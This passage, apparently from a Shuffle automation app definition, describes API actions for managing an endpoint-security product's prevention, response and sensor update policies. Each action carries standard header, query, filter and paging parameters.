- Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_prevention_policies - label: Prevention Policies - Update Prevention Policies by specifying the ID of the policy and details - to update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_prevention_policy_member_ids - label: Prevention Policies - Search for members of a Prevention Policy in your environment by providing - an FQL filter and paging details Returns a set of Agent IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Prevention Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_the_prevention_policies - label: Prevention Policies - Perform the specified action on the Prevention Policies specified in the - request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: set_precedence_of_response_policies - label: Response Policies - Sets the precedence of Response Policies based on the order of IDs specified - in the request The first ID specified will have the highest precedence and the - last ID specified will have the lowest You must specify all nonDefault Policies - for a platform when updating precedence - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_response_policy_members - label: Response Policies - Search for members of a Response policy in your environment by providing - an FQL filter and paging details Returns a set of host details which match the - filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Response policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_response_policy_member_ids - label: Response Policies - Search for members of a Response policy in your environment by providing - an FQL filter and paging details Returns a set of Agent IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Response policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_the_response_policies - label: Response Policies - Perform the specified action on the Response Policies specified in the request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_response_policies - label: Response Policies - Retrieve a set of Response Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the RTR Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_set_of_response_policies - label: Response Policies - Delete a set of Response Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Response Policies to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_response_policies - label: Response Policies - Create Response Policies by specifying details about the policy to create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_response_policies - label: Response Policies - Update Response Policies by specifying the ID of the policy and details to - update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_response_policy_ids - label: Response Policies - Search for Response Policies in your environment by providing an FQL filter - with sort andor paging details This returns a set of Response Policy IDs that - match the given criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to determine the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset of the first record to retrieve from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum number of records to return [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort results by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_response_policies - label: Response Policies - Search for Response Policies in your environment by providing an FQL filter - and paging details Returns a set of Response Policies which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_update_policies - label: Sensor Update Policies - Search for Sensor Update Policies in your environment by providing an FQL - filter and paging details Returns a set of Sensor Update Policies which match - the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_update_policy_member_ids - label: Sensor Update Policies - Search for members of a Sensor Update Policy in your environment by providing - an FQL filter and paging details Returns a set of Agent IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Sensor Update Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_the_sensor_update_policies - label: Sensor Update Policies - Perform the specified action on the Sensor Update Policies specified in the - request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_update_policy_members - label: Sensor Update Policies - Search for members of a Sensor Update Policy in your environment by providing - an FQL filter and paging details Returns a set of host details which match the - filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Sensor Update Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_available_builds_for_use_with_sensor_update_policies - label: Sensor Update Policies - Retrieve available builds for use with Sensor Update Policies - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The platform to return builds for - name: platform - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_update_policy_ids - label: Sensor Update Policies - Search for Sensor Update Policies in your environment by providing an FQL - filter and paging details Returns a set of Sensor Update Policy IDs which match - the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_update_policies_with_additional_support_for_uninstall_protection - label: Sensor Update Policies - Search for Sensor Update Policies with additional support for uninstall protection - in your environment by providing an FQL filter and paging details Returns a set - of Sensor Update Policies which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_sensor_update_policies_with_additional_support_for_uninstall_protection - label: Sensor Update Policies - Retrieve a set of Sensor Update Policies with additional support for uninstall - protection by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Sensor Update Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_sensor_update_policies - label: Sensor Update Policies - Create Sensor Update Policies by specifying details about the policy to create - with additional support for uninstall protection - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_sensor_update_policies - label: Sensor Update Policies - Update Sensor Update Policies by specifying the ID of the policy and details - to update with additional support for uninstall protection - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_an_uninstall_token_for_a_specific_device - label: Sensor Update Policies - Reveals an uninstall token for a specific device To retrieve the bulk maintenance - token pass the value MAINTENANCE as the value for device_id - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: set_precedence_of_sensor_update_policies - label: Sensor Update Policies - Sets the precedence of Sensor Update Policies based on the order of IDs specified - in the request The first ID specified will have the highest precedence and the - last ID specified will have the lowest You must specify all nonDefault Policies - for a platform when updating precedence - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_sensor_update_policies - label: Sensor Update Policies - Retrieve a set of Sensor Update Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Sensor Update Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - 